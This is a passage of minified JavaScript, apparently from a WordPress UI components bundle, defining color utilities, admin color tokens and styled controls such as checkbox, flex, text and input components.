e},e.prototype.invert=function(){return Ru({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},e.prototype.saturate=function(e){return void 0===e&&(e=.1),Ru(Eu(this.rgba,e))},e.prototype.desaturate=function(e){return void 0===e&&(e=.1),Ru(Eu(this.rgba,-e))},e.prototype.grayscale=function(){return Ru(Eu(this.rgba,-1))},e.prototype.lighten=function(e){return void 0===e&&(e=.1),Ru(Su(this.rgba,e))},e.prototype.darken=function(e){return void 0===e&&(e=.1),Ru(Su(this.rgba,-e))},e.prototype.rotate=function(e){return void 0===e&&(e=15),this.hue(this.hue()+e)},e.prototype.alpha=function(e){return"number"==typeof e?Ru({r:(t=this.rgba).r,g:t.g,b:t.b,a:e}):ru(this.rgba.a,3);var t},e.prototype.hue=function(e){var t=hu(this.rgba);return"number"==typeof e?Ru({h:e,s:t.s,l:t.l,a:t.a}):ru(t.h)},e.prototype.isEqual=function(e){return this.toHex()===Ru(e).toHex()},e}(),Ru=function(e){return e instanceof Tu?e:new Tu(e)},Ou=[],Au=function(e){e.forEach((function(e){Ou.indexOf(e)<0&&(e(Tu,vu),Ou.push(e))}))};function Cu(e,t){var r={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},n={};for(var o in r)n[r[o]]=o;var a={};e.prototype.toName=function(t){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var o,i,s=n[this.toHex()];if(s)return s;if(null==t?void 0:t.closest){var c=this.toRgb(),u=1/0,l="black";if(!a.length)for(var d in r)a[d]=new e(r[d]).toRgb();for(var p in r){var m=(o=c,i=a[p],Math.pow(o.r-i.r,2)+Math.pow(o.g-i.g,2)+Math.pow(o.b-i.b,2));m<u&&(u=m,l=p)}return l}},t.string.push([function(t){var n=t.toLowerCase(),o="transparent"===n?"#0000":r[n];return o?new e(o).toRgb():null},"name"])}function xu(){let e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1;return Ru(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"").alpha(e).toRgbString()}Au([Cu]);const Iu={black:"#000",white:"#fff"},ku={blue:{medium:{focus:"#007cba",focusDark:"#fff"}},gray:{900:"#1e1e1e",700:"#757575",600:"#949494",400:"#ccc",300:"#ddd",200:"#e0e0e0",100:"#f0f0f0"},darkGray:{primary:"#1e1e1e",heading:"#050505"},mediumGray:{text:"#757575"},lightGray:{ui:"#949494",secondary:"#ccc",tertiary:"#e7e8e9"}},Nu={900:"#191e23",800:"#23282d",700:"#32373c",600:"#40464d",500:"#555d66",400:"#606a73",300:"#6c7781",200:"#7e8993",150:"#8d96a0",100:"#8f98a1",placeholder:xu(ku.gray[900],.62)},Du={900:xu("#000510",.9),800:xu("#00000a",.85),700:xu("#06060b",.8),600:xu("#000913",.75),500:xu("#0a1829",.7),400:xu("#0a1829",.65),300:xu("#0e1c2e",.62),200:xu("#162435",.55),100:xu("#223443",.5),backgroundFill:xu(Nu[700],.7)},Pu={900:xu("#304455",.45),800:xu("#425863",.4),700:xu("#667886",.35),600:xu("#7b86a2",.3),500:xu("#9197a2",.25),400:xu("#95959c",.2),300:xu("#829493",.15),200:xu("#8b8b96",.1),100:xu("#747474",.05)},Mu={900:"#a2aab2",800:"#b5bcc2",700:"#ccd0d4",600:"#d7dade",500:"#e2e4e7",400:"#e8eaeb",300:"#edeff0",200:"#f3f4f5",100:"#f8f9f9",placeholder:xu(Iu.white,.65)},Fu={900:xu(Iu.white,.5),800:xu(Iu.white,.45),700:xu(Iu.white,.4),600:xu(Iu.white,.35),500:xu(Iu.white,.3),400:xu(Iu.white,.25),300:xu(Iu.white,.2),200:xu(Iu.white,.15),100:xu(Iu.white,.1),backgroundFill:xu(Mu[300],.8)},Lu={wordpress:{700:"#00669b"},dark:{900:"#0071a1"},medium:{900:"#006589",800:"#00739c",700:"#007fac",600:"#008dbe",500:"#00a0d2",400:"#33b3db",300:"#66c6e4",200:"#bfe7f3",100:"#e5f5fa",highlight:"#b3e7fe",focus:"#007cba"}},Uu={theme:`var( --wp-admin-theme-color, ${Lu.wordpress[700]})`,themeDark10:`var( --wp-admin-theme-color-darker-10, ${Lu.medium.focus})`},zu={theme:Uu.theme,background:Iu.white,backgroundDisabled:Mu[200],border:ku.gray[700],borderHover:ku.gray[700],borderFocus:Uu.themeDark10,borderDisabled:ku.gray[400],borderLight:ku.gray[300],label:Nu[500],textDisabled:Nu[150],textDark:Iu.white,textLight:Iu.black},Bu=Object.assign({},Iu,{darkGray:(0,V.merge)({},Nu,ku.darkGray),darkOpacity:Du,darkOpacityLight:Pu,mediumGray:ku.mediumGray,gray:ku.gray,lightGray:(0,V.merge)({},Mu,ku.lightGray),lightGrayLight:Fu,blue:(0,V.merge)({},Lu,ku.blue),alert:{yellow:"#f0b849",red:"#d94f4f",green:"#4ab866"},admin:Uu,ui:zu}),$u="4px";function Hu(e){var t,r;if(void 0===e)return;if(!e)return"0";const n="number"==typeof e?e:Number(e);return"undefined"!=typeof window&&null!==(t=window.CSS)&&void 0!==t&&null!==(r=t.supports)&&void 0!==r&&r.call(t,"margin",e.toString())||Number.isNaN(n)?e.toString():`calc(${$u} * ${e})`}const Vu=Mc("div",{target:"ej5x27r4"})("font-family:",Jc("default.fontFamily"),";font-size:",Jc("default.fontSize"),";"),Wu=Mc("div",{target:"ej5x27r3"})((e=>{let{__nextHasNoMarginBottom:t=!1}=e;return!t&&Zc("margin-bottom:",Hu(2),";","")})," .components-panel__row &{margin-bottom:inherit;}"),qu=Zc("display:inline-block;margin-bottom:",Hu(2),";",""),Yu=Mc("label",{target:"ej5x27r2"})(qu,";");var ju={name:"11yad0w",styles:"margin-bottom:revert"};const Gu=Mc("p",{target:"ej5x27r1"})("margin-top:",Hu(2),";margin-bottom:0;font-size:",Jc("helpText.fontSize"),";font-style:normal;color:",Bu.mediumGray.text,";",(e=>{let{__nextHasNoMarginBottom:t=!1}=e;return!t&&ju}),";"),Ku=Mc("span",{target:"ej5x27r0"})(qu,";"),Qu=e=>{let{__nextHasNoMarginBottom:t=!1,id:r,label:n,hideLabelFromVision:o=!1,help:a,className:i,children:s}=e;return(0,U.createElement)(Vu,{className:Ua()("components-base-control",i)},(0,U.createElement)(Wu,{className:"components-base-control__field",__nextHasNoMarginBottom:t},n&&r&&(o?(0,U.createElement)(Uc,{as:"label",htmlFor:r},n):(0,U.createElement)(Yu,{className:"components-base-control__label",htmlFor:r},n)),n&&!r&&(o?(0,U.createElement)(Uc,{as:"label"},n):(0,U.createElement)(Qu.VisualLabel,null,n)),s),!!a&&(0,U.createElement)(Gu,{id:r?r+"__help":void 0,className:"components-base-control__help",__nextHasNoMarginBottom:t},a))};Qu.VisualLabel=e=>{let{className:t,children:r}=e;return(0,U.createElement)(Ku,{className:Ua()("components-base-control__label",t)},r)};const Zu=Qu;function Xu(e){let{label:t,className:r,heading:n,checked:o,indeterminate:a,help:i,onChange:s,...c}=e;n&&Wa()("`heading` prop in `CheckboxControl`",{alternative:"a separate element to implement a heading",since:"5.8"});const[u,l]=(0,U.useState)(!1),[d,p]=(0,U.useState)(!1),m=(0,za.useRefEffect)((e=>{e&&(e.indeterminate=!!a,l(e.matches(":checked")),p(e.matches(":indeterminate")))}),[o,a]),h=`inspector-checkbox-control-${(0,za.useInstanceId)(Xu)}`;return(0,U.createElement)(Zu,{label:n,id:h,help:i,className:Ua()("components-checkbox-control",r)},(0,U.createElement)("span",{className:"components-checkbox-control__input-container"},(0,U.createElement)("input",Fa({ref:m,id:h,className:"components-checkbox-control__input",type:"checkbox",value:"1",onChange:e=>s(e.target.checked),checked:o,"aria-describedby":i?h+"__help":void 0},c)),d?(0,U.createElement)(Gc,{icon:Kc,className:"components-checkbox-control__indeterminate",role:"presentation"}):null,u?(0,U.createElement)(Gc,{icon:Qc,className:"components-checkbox-control__checked",role:"presentation"}):null),(0,U.createElement)("label",{className:"components-checkbox-control__label",htmlFor:h},t))}function Ju(e,t,r){return"number"!=typeof e?null:parseFloat((0,V.clamp)(e,t,r))}const el=["40em","52em","64em"],tl={name:"zjik7",styles:"display:flex"},rl={name:"qgaee5",styles:"display:block;max-height:100%;max-width:100%;min-height:0;min-width:0"},nl={name:"82a6rk",styles:"flex:1"},ol={name:"13nosa1",styles:">*{min-height:0;}"},al={name:"1pwxzk4",styles:">*{min-width:0;}"},il=new RegExp(/-left/g),sl=new RegExp(/-right/g),cl=new RegExp(/Left/g),ul=new RegExp(/Right/g),ll=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return(0,V.mapKeys)(e,((e,t)=>function(e){return"left"===e?"right":"right"===e?"left":il.test(e)?e.replace(il,"-right"):sl.test(e)?e.replace(sl,"-left"):cl.test(e)?e.replace(cl,"Right"):ul.test(e)?e.replace(ul,"Left"):e}(t)))};function dl(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return()=>t?(0,se.isRTL)()?Zc(t,""):Zc(e,""):(0,se.isRTL)()?Zc(ll(e),""):Zc(e,"")}function pl(e){const{align:t="center",className:r,direction:n="row",expanded:o=!0,gap:a=2,justify:i="space-between",wrap:s=!1,...c}=Sc(function(e){let{isReversed:t,...r}=e;return void 0!==t?(Wa()("Flex isReversed",{alternative:'Flex direction="row-reverse" or "column-reverse"',since:"5.9"}),{...r,direction:t?"row-reverse":"row"}):r}(e),"Flex"),u=function(e){const t=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{defaultIndex:t=0}=e;if("number"!=typeof t)throw new TypeError(`Default breakpoint index should be a number. Got: ${t}, ${typeof t}`);if(t<0||t>el.length-1)throw new RangeError(`Default breakpoint index out of range. Theme has ${el.length} breakpoints, got index ${t}`);const[r,n]=(0,U.useState)(t);return(0,U.useEffect)((()=>{const e=()=>{const e=el.filter((e=>"undefined"!=typeof window&&window.matchMedia(`screen and (min-width: ${e})`).matches)).length;r!==e&&n(e)};return e(),"undefined"!=typeof window&&window.addEventListener("resize",e),()=>{"undefined"!=typeof window&&window.removeEventListener("resize",e)}}),[r]),r}(arguments.length>1&&void 0!==arguments[1]?arguments[1]:{});if(!Array.isArray(e)&&"function"!=typeof e)return e;const r=e||[];return r[t>=r.length?r.length-1:t]}(Array.isArray(n)?n:[n]),l="string"==typeof u&&!!u.includes("column"),d="string"==typeof u&&u.includes("reverse"),p=bc();return{...c,className:(0,U.useMemo)((()=>{const e={};return e.Base=Zc({alignItems:l?"normal":t,flexDirection:u,flexWrap:s?"wrap":void 0,justifyContent:i,height:l&&o?"100%":void 0,width:!l&&o?"100%":void 0,marginBottom:s?`calc(${Hu(a)} * -1)`:void 0},"",""),e.Items=Zc(">*+*:not( marquee ){margin-top:",l?Hu(a):void 0,";",dl({marginLeft:l||d?void 0:Hu(a),marginRight:!l&&d?Hu(a):void 0})(),";}",""),e.WrapItems=Zc(">*:not( marquee ){margin-bottom:",Hu(a),";",dl({marginLeft:!l&&d?Hu(a):void 0,marginRight:l||d?void 0:Hu(a)})(),";}>*:last-child:not( marquee ){",dl({marginLeft:!l&&d?0:void 0,marginRight:l||d?void 0:0})(),";}",""),p(tl,e.Base,s?e.WrapItems:e.Items,l?ol:al,r)}),[t,r,p,u,o,a,l,d,i,s,dl.watch()]),isColumn:l}}dl.watch=()=>(0,se.isRTL)();const ml=(0,U.createContext)({flexItemDisplay:void 0}),hl=Rc((function(e,t){const{children:r,isColumn:n,...o}=pl(e);return(0,U.createElement)(ml.Provider,{value:{flexItemDisplay:n?"block":void 0}},(0,U.createElement)(Lc,Fa({},o,{ref:t}),r))}),"Flex"),fl=Rc((function(e,t){const r=function(e){const{className:t,display:r,isBlock:n=!1,...o}=Sc(e,"FlexItem"),a={},i=(0,U.useContext)(ml).flexItemDisplay;return a.Base=Zc({display:r||i},"",""),{...o,className:bc()(rl,a.Base,n&&nl,t)}}(e);return(0,U.createElement)(Lc,Fa({},r,{ref:t}))}),"FlexItem"),yl={name:"hdknak",styles:"display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap"},gl="…",_l={auto:"auto",head:"head",middle:"middle",tail:"tail",none:"none"},vl={ellipsis:gl,ellipsizeMode:_l.auto,limit:0,numberOfLines:0};let bl;Au([Cu]);const El=Os()((function(e){var t,r;if("string"!=typeof e)return"";if("string"==typeof(r=e)&&Ru(r).isValid())return e;if(!e.includes("var("))return"";if("undefined"==typeof document)return"";const n=function(){if("undefined"!=typeof document){if(!bl){const e=document.createElement("div");e.setAttribute("data-g2-color-computation-node",""),document.body.appendChild(e),bl=e}return bl}}();if(!n)return"";n.style.background=e;const o=null===(t=window)||void 0===t?void 0:t.getComputedStyle(n).background;return n.style.background="",o||""}));const wl="36px",Sl="12px",Tl={controlSurfaceColor:Bu.white,controlTextActiveColor:Bu.ui.theme,controlPaddingX:Sl,controlPaddingXLarge:`calc(${Sl} * 1.3334)`,controlPaddingXSmall:`calc(${Sl} / 1.3334)`,controlBackgroundColor:Bu.white,controlBorderRadius:"2px",controlBorderColor:Bu.gray[700],controlBoxShadow:"transparent",controlBorderColorHover:Bu.gray[700],controlBoxShadowFocus:`0 0 0 0.5px ${Bu.admin.theme}`,controlDestructiveBorderColor:Bu.alert.red,controlHeight:wl,controlHeightXSmall:`calc( ${wl} * 0.6 )`,controlHeightSmall:`calc( ${wl} * 0.8 )`,controlHeightLarge:`calc( ${wl} * 1.2 )`,controlHeightXLarge:`calc( ${wl} * 1.4 )`},Rl={toggleGroupControlBackgroundColor:Tl.controlBackgroundColor,toggleGroupControlBorderColor:Bu.ui.border,toggleGroupControlBackdropBackgroundColor:Tl.controlSurfaceColor,toggleGroupControlBackdropBorderColor:Bu.ui.border,toggleGroupControlBackdropBoxShadow:"transparent",toggleGroupControlButtonColorActive:Tl.controlBackgroundColor},Ol=Object.assign({},Tl,Rl,{colorDivider:"rgba(0, 0, 0, 0.1)",colorScrollbarThumb:"rgba(0, 0, 0, 0.2)",colorScrollbarThumbHover:"rgba(0, 0, 0, 0.5)",colorScrollbarTrack:"rgba(0, 0, 0, 0.04)",elevationIntensity:1,radiusBlockUi:"2px",borderWidth:"1px",borderWidthFocus:"1.5px",borderWidthTab:"4px",spinnerSize:16,fontSize:"13px",fontSizeH1:"calc(2.44 * 13px)",fontSizeH2:"calc(1.95 * 13px)",fontSizeH3:"calc(1.56 * 13px)",fontSizeH4:"calc(1.25 * 13px)",fontSizeH5:"13px",fontSizeH6:"calc(0.8 * 13px)",fontSizeInputMobile:"16px",fontSizeMobile:"15px",fontSizeSmall:"calc(0.92 * 13px)",fontSizeXSmall:"calc(0.75 * 13px)",fontLineHeightBase:"1.2",fontWeight:"normal",fontWeightHeading:"600",gridBase:"4px",cardBorderRadius:"2px",cardPaddingXSmall:`${Hu(2)}`,cardPaddingSmall:`${Hu(4)}`,cardPaddingMedium:`${Hu(4)} ${Hu(6)}`,cardPaddingLarge:`${Hu(6)} ${Hu(8)}`,surfaceBackgroundColor:Bu.white,surfaceBackgroundSubtleColor:"#F3F3F3",surfaceBackgroundTintColor:"#F5F5F5",surfaceBorderColor:"rgba(0, 0, 0, 0.1)",surfaceBorderBoldColor:"rgba(0, 0, 0, 0.15)",surfaceBorderSubtleColor:"rgba(0, 0, 0, 0.05)",surfaceBackgroundTertiaryColor:Bu.white,surfaceColor:Bu.white,transitionDuration:"200ms",transitionDurationFast:"160ms",transitionDurationFaster:"120ms",transitionDurationFastest:"100ms",transitionTimingFunction:"cubic-bezier(0.08, 0.52, 0.52, 1)",transitionTimingFunctionControl:"cubic-bezier(0.12, 0.8, 0.32, 1)"}),Al=Zc("color:",Bu.darkGray.primary,";line-height:",Ol.fontLineHeightBase,";margin:0;",""),Cl={name:"4zleql",styles:"display:block"},xl=Zc("color:",Bu.alert.green,";",""),Il=Zc("color:",Bu.alert.red,";",""),kl=Zc("color:",Bu.mediumGray.text,";",""),Nl=Zc("mark{background:",Bu.alert.yellow,";border-radius:2px;box-shadow:0 0 0 1px rgba( 0, 0, 0, 0.05 ) inset,0 -1px 0 rgba( 0, 0, 0, 0.1 ) inset;}",""),Dl={name:"50zrmy",styles:"text-transform:uppercase"};var Pl=r(6928);const Ml=Os()((e=>{const t={};for(const r in e)t[r.toLowerCase()]=e[r];return t})),Fl=13,Ll={body:Fl,caption:10,footnote:11,largeTitle:28,subheadline:12,title:20};function Ul(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Fl;if(e in Ll)return Ul(Ll[e]);if("number"!=typeof e){const t=parseFloat(e);if(Number.isNaN(t))return e;e=t}return`calc((${e} / ${Fl}) * ${Ol.fontSize})`}[1,2,3,4,5,6].flatMap((e=>[e,e.toString()]));var zl={name:"50zrmy",styles:"text-transform:uppercase"};function Bl(e){const{adjustLineHeightForInnerControls:t,align:r,children:n,className:o,color:a,ellipsizeMode:i,isDestructive:s=!1,display:c,highlightEscape:u=!1,highlightCaseSensitive:l=!1,highlightWords:d,highlightSanitize:p,isBlock:m=!1,letterSpacing:h,lineHeight:f,optimizeReadabilityFor:y,size:g,truncate:_=!1,upperCase:v=!1,variant:b,weight:E=Ol.fontWeight,...w}=Sc(e,"Text");let S=n;const T=Array.isArray(d),R="caption"===g;if(T){if("string"!=typeof n)throw new TypeError("`children` of `Text` must only be `string` types when `highlightWords` is defined");S=function(e){let{activeClassName:t="",activeIndex:r=-1,activeStyle:n,autoEscape:o,caseSensitive:a=!1,children:i,findChunks:s,highlightClassName:c="",highlightStyle:u={},highlightTag:l="mark",sanitize:d,searchWords:p=[],unhighlightClassName:m="",unhighlightStyle:h}=e;if(!i)return null;if("string"!=typeof i)return i;const f=i,y=(0,Pl.findAll)({autoEscape:o,caseSensitive:a,findChunks:s,sanitize:d,searchWords:p,textToHighlight:f}),g=l;let _,v=-1,b="";return y.map(((e,o)=>{const i=f.substr(e.start,e.end-e.start);if(e.highlight){let e;v++,"object"==typeof c?a?e=c[i]:(c=Ml(c),e=c[i.toLowerCase()]):e=c;const s=v===+r;b=`${e} ${s?t:""}`,_=!0===s&&null!==n?Object.assign({},u,n):u;const l={children:i,className:b,key:o,style:_};return"string"!=typeof g&&(l.highlightIndex=v),(0,U.createElement)(g,l)}return(0,U.createElement)("span",{children:i,className:m,key:o,style:h})}))}({autoEscape:u,children:n,caseSensitive:l,searchWords:d,sanitize:p})}const O=bc();let A;!0===_&&(A="auto"),!1===_&&(A="none");const C=function(e){const{className:t,children:r,ellipsis:n=gl,ellipsizeMode:o=_l.auto,limit:a=0,numberOfLines:i=0,...s}=Sc(e,"Truncate"),c=bc(),u=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";const t={...vl,...arguments.length>1?arguments[1]:void 0},{ellipsis:r,ellipsizeMode:n,limit:o}=t;if(n===_l.none)return e;let a,i;switch(n){case _l.head:a=0,i=o;break;case _l.middle:a=Math.floor(o/2),i=Math.floor(o/2);break;default:a=o,i=0}const s=n!==_l.auto?function(e,t,r,n){if("string"!=typeof e)return"";const o=e.length,a=~~t,i=~~r,s=(0,V.isNil)(n)?gl:n;return 0===a&&0===i||a>=o||i>=o||a+i>=o?e:0===i?e.slice(0,a)+s:e.slice(0,a)+s+e.slice(o-i)}(e,a,i,r):e;return s}("string"==typeof r?r:"",{ellipsis:n,ellipsizeMode:o,limit:a,numberOfLines:i}),l=o===_l.auto;return{...s,className:(0,U.useMemo)((()=>{const e={};return e.numberOfLines=Zc("-webkit-box-orient:vertical;-webkit-line-clamp:",i,";display:-webkit-box;overflow:hidden;",""),c(l&&!i&&yl,l&&!!i&&e.numberOfLines,t)}),[t,c,i,l]),children:u}}({...w,className:(0,U.useMemo)((()=>{const e={},n=function(e,t){if(t)return t;if(!e)return;let r=`calc(${Ol.controlHeight} + ${Hu(2)})`;switch(e){case"large":r=`calc(${Ol.controlHeightLarge} + ${Hu(2)})`;break;case"small":r=`calc(${Ol.controlHeightSmall} + ${Hu(2)})`;break;case"xSmall":r=`calc(${Ol.controlHeightXSmall} + ${Hu(2)})`}return r}(t,f);if(e.Base=Zc({color:a,display:c,fontSize:Ul(g),fontWeight:E,lineHeight:n,letterSpacing:h,textAlign:r},"",""),e.upperCase=zl,e.optimalTextColor=null,y){const t="dark"==("#000000"===function(e){const t=El(e);return Ru(t).isLight()?"#000000":"#ffffff"}(y)?"dark":"light");e.optimalTextColor=Zc(t?{color:Bu.black}:{color:Bu.white},"","")}return O(Al,e.Base,e.optimalTextColor,s&&Il,!!T&&Nl,m&&Cl,R&&kl,b&&L[b],v&&e.upperCase,o)}),[t,r,o,a,O,c,m,R,s,T,h,f,y,g,v,b,E]),children:n,ellipsizeMode:i||A});return!_&&Array.isArray(n)&&(S=U.Children.map(n,(e=>{return(0,V.isPlainObject)(e)&&"props"in e?(r=["Link"],(t=e)&&("string"==typeof r?Oc(t).includes(r):Array.isArray(r)&&r.some((e=>Oc(t).includes(e))))?(0,U.cloneElement)(e,{size:e.props.size||"inherit"}):e):e;var t,r}))),{...C,children:_?C.children:S}}const $l=Rc((function(e,t){const r=Bl(e);return(0,U.createElement)(Lc,Fa({as:"span"},r,{ref:t}))}),"Text");var Hl={name:"1739oy8",styles:"z-index:1"};const Vl=e=>{let{isFocused:t}=e;return t?Hl:""};var Wl={name:"2o6p8u",styles:"justify-content:space-between"},ql={name:"14qk3ip",styles:"align-items:flex-start;flex-direction:column-reverse"},Yl={name:"hbng6e",styles:"align-items:flex-start;flex-direction:column"};const jl=e=>{let{labelPosition:t}=e;switch(t){case"top":return Yl;case"bottom":return ql;case"edge":return Wl;default:return""}},Gl=Mc(hl,{target:"em5sgkm7"})("position:relative;border-radius:2px;padding-top:0;",Vl," ",jl,";");var Kl={name:"wyxldh",styles:"margin:0 !important"},Ql={name:"1d3w5wq",styles:"width:100%"};const Zl=Mc("div",{target:"em5sgkm6"})("align-items:center;box-sizing:border-box;border-radius:inherit;display:flex;flex:1;position:relative;",(e=>{let{disabled:t}=e;return Zc({backgroundColor:t?Bu.ui.backgroundDisabled:Bu.ui.background},"","")})," ",(e=>{let{hideLabel:t}=e;return t?Kl:null})," ",(e=>{let{__unstableInputWidth:t,labelPosition:r}=e;return t?"side"===r?"":Zc("edge"===r?{flex:`0 0 ${t}`}:{width:t},"",""):Ql}),";"),Xl=Mc("input",{target:"em5sgkm5"})("&&&{background-color:transparent;box-sizing:border-box;border:none;box-shadow:none!important;color:",Bu.black,";display:block;font-family:inherit;margin:0;outline:none;width:100%;",(e=>{let t,r,{isDragging:n,dragCursor:o}=e;return n&&(t=Zc("cursor:",o,";user-select:none;&::-webkit-outer-spin-button,&::-webkit-inner-spin-button{-webkit-appearance:none!important;margin:0!important;}","")),n&&o&&(r=Zc("&:active{cursor:",o,";}","")),Zc(t," ",r,";","")})," ",(e=>{let{disabled:t}=e;return t?Zc({color:Bu.ui.textDisabled},"",""):""})," ",(e=>{let{inputSize:t}=e;const r={default:"13px",small:"11px","__unstable-large":"13px"},n=r[t]||r.default;return n?Zc("font-size:","16px",";@media ( min-width: 600px ){font-size:",n,";}",""):""})," ",(e=>{let{inputSize:t}=e;const r={default:{height:30,lineHeight:1,minHeight:30,paddingLeft:8,paddingRight:8},small:{height:24,lineHeight:1,minHeight:24,paddingLeft:8,paddingRight:8},"__unstable-large":{height:40,lineHeight:1,minHeight:40,paddingLeft:16,paddingRight:16}};return Zc(r[t]||r.default,"","")})," &::-webkit-input-placeholder{line-height:normal;}}"),Jl=e=>{let{labelPosition:t}=e,r=8;return"edge"!==t&&"side"!==t||(r=0),Zc({marginTop:0,marginRight:0,marginBottom:r,marginLeft:0},"","")},ed=Mc($l,{target:"em5sgkm4"})("&&&{box-sizing:border-box;color:currentColor;display:block;padding-top:0;padding-bottom:0;max-width:100%;z-index:1;",Jl," overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}"),td=e=>(0,U.createElement)(ed,Fa({},e,{as:"label"})),rd=Mc(fl,{target:"em5sgkm3"})({name:"1b6uupn",styles:"max-width:calc( 100% - 10px )"}),nd=Mc("div",{target:"em5sgkm2"})("&&&{box-sizing:border-box;border-radius:inherit;bottom:0;left:0;margin:0;padding:0;pointer-events:none;position:absolute;right:0;top:0;",(e=>{let t,{disabled:r,isFocused:n}=e,o=n?Bu.ui.borderFocus:Bu.ui.border;return n&&(t=`0 0 0 1px ${Bu.ui.borderFocus} inset`),r&&(o=Bu.ui.borderDisabled),Zc({boxShadow:t,borderColor:o,borderStyle:"solid",borderWidth:1},"","")})," ",dl({paddingLeft:2}),";}"),od=Mc("span",{target:"em5sgkm1"})({name:"pvvbxf",styles:"box-sizing:border-box;display:block"}),ad=Mc("span",{target:"em5sgkm0"})({name:"jgf79h",styles:"align-items:center;align-self:stretch;box-sizing:border-box;display:flex"}),id=(0,U.memo)((function(e){let{disabled:t=!1,isFocused:r=!1}=e;return(0,U.createElement)(nd,{"aria-hidden":"true",className:"components-input-control__backdrop",disabled:t,isFocused:r})})),sd=id;function cd(e){let{children:t,hideLabelFromVision:r,htmlFor:n,...o}=e;return t?r?(0,U.createElement)(Uc,{as:"label",htmlFor:n},t):(0,U.createElement)(td,Fa({htmlFor:n},o),t):null}const ud=(0,U.forwardRef)((function e(t,r){let{__unstableInputWidth:n,children:o,className:a,disabled:i=!1,hideLabelFromVision:s=!1,labelPosition:c,id:u,isFocused:l=!1,label:d,prefix:p,size:m="default",suffix:h,...f}=t;const y=function(t){const r=(0,za.useInstanceId)(e);return t||`input-base-control-${r}`}(u),g=s||!d;return(0,U.createElement)(Gl,Fa({},f,function(e){const t={};switch(e){case"top":t.direction="column",t.gap=0;break;case"bottom":t.direction="column-reverse",t.gap=0;break;case"edge":t.justify="space-between"}return 